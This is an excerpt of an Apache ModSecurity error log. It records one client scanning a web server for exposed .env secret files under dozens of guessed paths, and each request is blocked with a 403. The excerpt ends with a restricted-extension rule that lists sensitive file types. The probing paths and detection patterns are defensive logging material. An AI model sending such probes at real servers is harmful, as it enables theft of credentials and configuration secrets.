[Thu Feb 26 01:03:02.001876 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzgAAAAA&quot;]
[Thu Feb 26 01:03:02.002046 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker-node-mongo-redis/.env&quot;] [unique_id &quot;aZ-NtSSJSniLip0oFXiyzgAAAAA&quot;]
[Thu Feb 26 01:03:02.031114 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withmongo/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiyzwAAAAA&quot;]
[Thu Feb 26 01:03:02.031340 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiyzwAAAAA&quot;]
[Thu Feb 26 01:03:02.031494 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withMongo/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiyzwAAAAA&quot;]
[Thu Feb 26 01:03:02.047389 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dodoswap-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhowAAAAE&quot;]
[Thu Feb 26 01:03:02.047613 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhowAAAAE&quot;]
[Thu Feb 26 01:03:02.047771 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dodoswap-client/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhowAAAAE&quot;]
[Thu Feb 26 01:03:02.073066 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dotfiles/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpAAAAAE&quot;]
[Thu Feb 26 01:03:02.073302 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpAAAAAE&quot;]
[Thu Feb 26 01:03:02.073463 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dotfiles/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpAAAAAE&quot;]
[Thu Feb 26 01:03:02.097588 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/compose/withpostgres/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0AAAAAA&quot;]
[Thu Feb 26 01:03:02.097809 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0AAAAAA&quot;]
[Thu Feb 26 01:03:02.097962 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/compose/withPostgres/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0AAAAAA&quot;]
[Thu Feb 26 01:03:02.116975 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /download/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpQAAAAE&quot;]
[Thu Feb 26 01:03:02.117212 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpQAAAAE&quot;]
[Thu Feb 26 01:03:02.117380 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/download/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpQAAAAE&quot;]
[Thu Feb 26 01:03:02.128257 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/database/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0QAAAAA&quot;]
[Thu Feb 26 01:03:02.128470 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0QAAAAA&quot;]
[Thu Feb 26 01:03:02.128621 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/database/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0QAAAAA&quot;]
[Thu Feb 26 01:03:02.147281 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /downloads/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpgAAAAE&quot;]
[Thu Feb 26 01:03:02.147514 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpgAAAAE&quot;]
[Thu Feb 26 01:03:02.147667 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/downloads/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpgAAAAE&quot;]
[Thu Feb 26 01:03:02.171706 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/db/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0gAAAAA&quot;]
[Thu Feb 26 01:03:02.171941 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0gAAAAA&quot;]
[Thu Feb 26 01:03:02.172098 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/db/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0gAAAAA&quot;]
[Thu Feb 26 01:03:02.178929 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /drupal/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpwAAAAE&quot;]
[Thu Feb 26 01:03:02.179164 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpwAAAAE&quot;]
[Thu Feb 26 01:03:02.179309 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/drupal/.env&quot;] [unique_id &quot;aZ-NtjAL5Lg_nL66HcLhpwAAAAE&quot;]
[Thu Feb 26 01:03:02.200531 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /docker/dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0wAAAAA&quot;]
[Thu Feb 26 01:03:02.200754 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0wAAAAA&quot;]
[Thu Feb 26 01:03:02.200910 2026] [:error] [pid 2330788] [client 185.177.72.22:55990] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/docker/dev/.env&quot;] [unique_id &quot;aZ-NtiSJSniLip0oFXiy0wAAAAA&quot;]
[Thu Feb 26 01:03:02.214986 2026] [:error] [pid 2330789] [client 185.177.72.22:55984] [client 185.177.72.22] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.sql&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag 